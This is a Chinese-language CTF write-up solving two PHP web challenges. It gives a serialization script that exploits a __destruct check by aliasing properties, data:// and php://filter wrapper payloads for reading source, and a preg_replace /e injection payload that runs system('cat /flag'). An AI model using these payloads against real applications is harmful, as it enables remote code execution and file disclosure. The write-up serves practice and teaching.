BUU CODE REVIEW 1

​ 这道题直接用md5数组绕过以及反序列化,反序列化这里直接把$correct的值赋给$unput即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
$a=new BUU();
$a->input=&$a->correct;
echo serialize($a);

[BJDCTF2020]ZJCTF,不过如此

​ 这道题分两步:
第一步:绕过file_get_contents() 伪协议

1
2
3
4
5
6
7
1.绕过file_get_contents()两种方法
(1)$text=data://text/plain,I have a dream 或者text=data://text//plain;base64,SSBoYXZlIGEgZHJlYW0=
(2)$text=php://inut
然后post发送I have a dream
2.伪协议
file=php://filter/read=convert.base64-encode/resource=next.php
base64解码得到源码

第二步 preg_replace 命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

?\S*={${getFlag()}}&cmd=system('cat /flag');

知识:preg_replace(要搜索的字符串,要替换的字符串,原始字符串)第一个参数以/e结尾时,会存在命令执行漏洞,即如果有/e,且匹配到了符合正则的字符串,第二个参数将被执行,而这里的strtolower(“\1”)即strtolower(“\1”),\1有自己的意思,即取出正则表达式匹配后子匹配表达式的第一项,就是取出匹配到的{${phpinfo()}},再转化为字符串,即”{${phpinfo()}}”,然后执行。